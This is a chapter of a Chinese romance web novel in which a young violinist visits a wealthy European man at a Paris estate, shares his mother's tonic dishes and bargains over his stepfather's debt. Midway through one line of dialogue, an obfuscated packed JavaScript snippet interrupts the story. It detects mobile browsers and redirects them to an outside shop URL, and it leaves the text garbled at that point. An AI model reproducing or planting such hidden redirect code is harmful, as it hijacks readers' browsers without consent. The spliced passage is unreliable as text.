不过做母亲的到底还是有隐瞒——当年她正是靠着这些拿下他父亲。 一路都在做心理斗争,要不干脆全倒了得了?到底舍不得,里头有他妈十几个小时的功夫。不觉间便到了酒店门口。 完了,这脸是丢定了。 裴枝和看着这典型的老钱静奢风庄园大门心想。 这滋味就跟小学时你妈非要你带一张手写贺卡去全班最有钱的同学家过生日差不多。 礼宾处似乎早已被知会,没查裴枝和的身份便放行了。这里像是藏在城市褶皱中的一片绿地,大堂和客房藏在深处,需坐高尔夫车。落叶从高大的悬铃木上飘落,在地面铺了金灿而薄的一层。天色还早,透过树顶和屋脊的缝隙望去,埃菲尔铁塔的塔尖尚未亮灯。 高尔夫车开起来安静平稳,裴枝和抱着妈妈给他的两个保温盒昏昏欲睡。忽而一声“到了”,他醒来,跳下车,点头致谢,礼貌很足。 这是单独的一座府邸,不设房门号,只有一个黄铜门铃。等了没两秒,原以为会是奥利弗来开门,没想到是周阎浮本尊。 裴枝和没做好这个准备,站得形意懒散的,一见是周阎浮,心里一柄小鼓咚的一声。 “怎么是你?”他眼睫往下落,身体偷偷摸摸地站直起来。 周阎浮挑挑眉:“不是来看我的?” “以为会是奥利弗。” 周阎浮“哦”了声:“让你失望了,我叫他过来?” 裴枝和用力而坚决地摇了下头:“对你的保安没兴趣。” 也不知道为什么要解释。 周阎浮倒给他台阶:“就算有兴趣,你大概也雇不起。——是保镖。” 继而侧身,将裴枝和迎进门:“没想到你会来。” 裴枝和还以为他不满他拖了一天才来,嘴硬道:“答应了的,没想放你鸽子。” 周阎浮脚步微顿了顿,垂眸看向他,这一眼既无奈,也宽容:“你对我,也不是每次都言出必行。” 莫名其妙的就扣了这么好大一口黑锅,裴枝和想申诉,但一抬头,却正正好好闯进他眼神。 这不应该是看一个刚认识不久、没见过几面的人的眼神。 裴枝和没来由的心慌,脚下力道散了,脚心软,在落叶上滑了一跤。 周阎浮的动作快如闪电,刚刚还揣在裤兜里的手眨眼间便到了裴枝和臂下,牢牢抓住,沉稳托住。极细微的瞬息中,他迟疑了一下,目光骤狠,怀着只有他知道的没必要,微微力道一偏,将人顺理成章地救到了自己怀里。 降温,又病着,他穿了件薄羊绒衣,触感温暖柔软,与裴枝和的脸颊贴上,胸膛的热度烘烤出来,臂膀的力度形似将他禁锢。 裴枝和懵得该去上幼儿园,不知道电光石火间怎么就这样了? 他抓着他腰的手紧了一紧,听到头顶一声极轻的闷哼,鼻息发紧。 挨得这么近,彼此身上的香味又开始融合。周阎浮嗅着,由他脖颈间的香味思维飘逸开,想到那时他无力地抓抱着他,引颈,崩溃地颤着声线:“周阎浮,我要死了。” 前世的好光景,引诱他犯今世的罪。 周阎浮的呼吸、心跳、把持着裴枝和的力道都不再稳当,他肌肉骤然用力,眼尾也压下来,几乎是怀着一股狠戾地将裴枝和推离自己怀抱。 发热的手揣回裤兜,声音愣:“走路看着点。” 裴枝和确信刚刚感到了一丝杀气。有病吧,不小心撞到他就想杀了他吗?真是喜怒无常暴君一个…… 他态度鲜明地从周阎浮身边挪远两米,中间空得可以开台车。 周阎浮:“……” 这座府邸气派,光内院就够散步,两株栗树恐怕有百年了,正是秋收的季节,果刺壳散在石板路边,几只松鼠沿着树干跑上跑下,为冬天储食。 一时无话,周阎浮示意他手里的东西:“这是什么?” 裴枝和紧了紧手,扭过脸,飞速叨咕了一句。 “什么?”周阎浮没听清。 “一些营养炖品。” 虽然莫名其妙重生了,但周阎浮已捕捉到了规律:事情和人并不是按部就班发生的,任何一点微小的改变,都会引起一连串多米诺骨牌式的变动,直至掀起巨大的波动。比如这份营养炖品,他之前就没尝过。大约是因为他前世没给裴枝和租私人飞机。 怕他误会,裴枝和忙不迭撇清:“不是我炖的,也不是我提议的,更不是我要拿的,是我妈坚持。” “但是你带来的。”周阎浮强调。 “……” 竟无法反驳。 进了餐厅,裴枝和放下保温盒就要走:“心意我送到了,你随便处理吧,倒了也行。” “站住。”周阎浮叫住他,“探望病人,十分钟就结束了?” 为了他要过来,他特意推迟了迪拜的行程,让奥利弗先去布局。海湾局势不稳,S国武装分子提出了一个他无法拒绝的交易,但要求面谈。会面的地点、时间,对方要求说了算,周阎浮不介意,因为在他的情报网面前,小国的任何行动都是透明的。 “有空的话,不如陪我用完这餐饭。” 裴枝和刚好也有话要跟他谈,便脱了大衣坐下。里头轻简,只着一件薄薄的白色长袖T恤,宽松廓形,被他一副骨架撑得漂亮,两根锁骨平直,被圆领口半掩。 脱衣落座,令两人间骤然有了些家常氛围。裴枝和无语,发现他妈果然有他妈的老道。 周阎浮没劳他动手,自己动手揭了盖子。看着两样颇见功夫的硬菜,他挑了挑眉,拨打电话让酒店送餐具和主食过来,另外再加了一道佐餐红酒。 得如此重视,裴枝和反而尴尬死了:“你、你吃两口得了。” “为什么?令堂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856396|190489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心意不能浪费。” 周阎浮对苏慧珍并无好感,这个女人虚荣无底线,如果不是她,上辈子的裴枝和不会差点陷入无琴可拉无舞台可演的困境。但这一世目前的裴枝和,还是个信任母亲的好孩子,他尊重他。 “这个,”裴枝和特意指着当中那盘爆海参:“很补。” 旁边那个鱼翅……好吧,“也很补。” 裴枝和特意说得很委婉,心想周阎浮这个中文十级疑似有中国血统四字成语诗词典故张嘴就来的中国通,应该能懂吧?哪个男人不知道海参鱼翅壮阳?很壮阳。 欧洲男人周阎浮,没有听懂。 只是点胶原蛋白而已?倒觉得他这么严阵以待很可爱。 “既然很补,不是应该多吃点?”他好笑地问。 裴枝和看着他,呆楞地眨了眨眼眼。 哦,也对,作为情人,金枪不倒是职业素养,保持发情状态更是增添情趣。原来如此! 你等着吧。他冷眼看着周阎浮。你晚上就要变成一条发情公狗了。 说话间,酒店已送来餐具餐食,另附两道色泽青翠的炒时蔬。 周阎浮递过去一双银质筷子:“一起。” 裴枝和:“什么?” 我是不会和你们进行3.P的!!! 但他肚子很恰到好处地咕了一声。 完蛋了,自从下飞机后他就狂睡不起,中间滴水未进,现在正处于极限低血糖状态,眼前两盘妈制珍馐无疑是全世界最有诱惑力的东西。 裴枝和违心地接过筷子。就吃一点垫垫肚子。毕竟周阎浮晚上有人要服务,他可没有。让他自己纾解的话,他又不肯。他不喜欢做这种事,可能天煞孤星命格的人本就情.欲寡淡。 苏慧珍厨艺了得,就连吃惯了山珍海味的周阎浮也认为这两道菜可圈可点。但欧洲人没有吃鱼翅海参的习惯,要大脑接收这种本身无味的胶状物需要点时间,加之他素来饮食有节制,因此并没怎么动筷。反倒是裴枝和,欣然迷失在了这正宗中国味中。 放下筷子,擦嘴,裴枝和看着空盘脸色微变。 周阎浮饶有兴致地看着他:“从刚刚起你就很不对。怎么,这里面下药了?” 裴枝和想起了很久以前,刚十七八岁,回香港过年,被裴家大少爷叫去酒楼。那天在场的有个著名的玩咖,提出要比一比吃生蚝的本领。大少爷命裴枝和上阵了。硕大一个乳山生蚝刺身,一个得切成三段才能塞进嘴的大小,裴枝和吃了快十个。 他反应比其余人大很多,脸薄红,眼猩红,唇嫣红,看得桌上个个都语焉不详继而狂笑起来。 “喂,裴志朗,你弟弟怎么回事,吃生蚝也能吃high?” 大少爷裴志朗眼珠一转,到外面街上叫了个女的进来,诱裴枝和泄火。 裴枝和逃得狼狈,一个人在街上走到凌晨。天亮到家,生父已得诉状,说他在外面跟站街女鬼混。他衬衣沾露落拓消瘦,倒有漂亮风流在身,立刻被鸡毛掸子伺候。 “我让你不学好!……让你十七岁就去玩女人!……” 毒打一顿,腰上被抽得像得了“蛇缠腰”,痛起来也是相当的。裴枝和全程举着双手,不让掸子抽到。裴志朗看不顺眼,但无可奈何,因为他们的父亲也已看出裴枝和前程无量,愿意下一份注。 裴枝和闭了闭眼,从脑中抹去这段不好的记忆。从那年起他就不再碰这些大补之物了,饮食一贯清净。现如今回想,应该是那些生蚝被下了药吧。他总不能虚到这地步…… “没什么。”他摇头,深吸一口气:“周先生,我有话对你说。” “嗯。” “你是好人吗?”裴枝和清明澄澈的眼看着他,不胆怯地看进他那双暗绿色的眼眸中。 他心里哪处的鼓又咚了一声。这么个像鹰一样的男人,却有一双如此深邃到深情的眼。 “不是,也不当。” “但你一定是个有契约精神的人,是吗?” 周阎浮思索了一会:“大体上是。” “那好。我知道我继父欠你八千万,不是一笔小数目,欧洲也没有父债子偿的机制,何况我们还是继父子。从法理说,这笔债和我没关系。但我的母亲想必你一眼就能看穿,她很虚荣,爱钱如命,又死要面子。她打定主意后半辈子要在伯爵夫人这个头衔下过,这八千万就是她决定出的代价。” 周阎浮眯了眯眼,没打断他。 他说错了,不是八千万,而是将近两个亿,这一点明明之前拍卖会的晚上已提醒过,看来他没注意。 “你想说什么?”周阎浮不动声色。 “都说你富可敌国,我虽然不敢让你免除债务,但想和你谈谈。我前途无限,商业价值稳步上升,如果你名下的基金会愿意助我一臂之力,我会一飞冲天。届时,我能成为你一个长期的摇钱树。怎么样?” 艾丽一直想做而搭不上线的,裴枝和单枪匹马、冷冷静静地说完了。他不排斥商业化,只要能好好拉琴,拉一辈子琴,代言做广告也好,拍杂志也好卖传记也好,他都无所谓。 “作为交换,你想我做什么?”周阎浮不置可否,“除了签约你,运作你。” 裴枝和有些难以启齿:“如果……假如……我妈妈想用我来交换,请你拒绝。即使她用了手段,在我不知情的情况下,把我送到了你这里。” 他说得含蓄,但无疑两人都能听懂。 “好吗?”裴枝和抬起脸,郑重,怀着干净的坚定。 因为这顿饭是上辈子没有经历的,所以这些话周阎浮也是第一次听。他哼笑了一息,为这可怜的孩子原来心里对他妈妈有提防,也为这可怜的孩子提防不够。八千万欧是他将自己商业化开发到极致能挣出来的,但两亿欧,他拉一辈子琴也拉不到。 周阎浮云淡风轻而一字一落地地吐出一句:“不好。” 裴枝和懵了:“为什么?我不是不还,而你现在就算逼死伯爵,他也还不出。” 他虽然金融知识有限,但也知道催债的首要目的是让人还上,还多还少都是钱,而不是把人往死里逼。在此前提下,就连打个折、免个息他们也是愿意的。 周阎浮手臂压在大理石餐桌面,身体微微前倾、下压,一个缓慢而极具压迫感的动作。 “因为,想要你的,不是阿伯瑞斯基金会,而是——” “我。”